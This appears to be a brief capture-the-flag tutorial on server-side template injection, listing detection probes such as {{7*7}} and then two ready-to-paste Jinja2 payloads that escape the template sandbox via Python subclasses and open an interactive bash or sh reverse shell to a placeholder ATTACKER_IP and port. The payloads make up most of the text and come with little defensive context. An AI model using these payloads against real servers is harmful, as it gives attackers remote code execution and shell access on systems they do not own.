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ssti_2_rce's Introduction

Server-Side Template Injection (SSTI)

A simple tutorial of SSTI commonly used in Capture The Flag (CTF). It is a guide to detect SSTI and possibly obtain remote code exection (RCE) on the server.

Detect if the server is vulnerable to SSTI:

To test for vulnerability, try these each of the payloads below. The expected result should be the multiplication of 7 and 7 which is equal to 49. If one of the payloads return the expected result (i.e. 49), then the server is vulnerable to SSTI.

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Remote Code Exection (RCE)

Obtaining shell through Python 3.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

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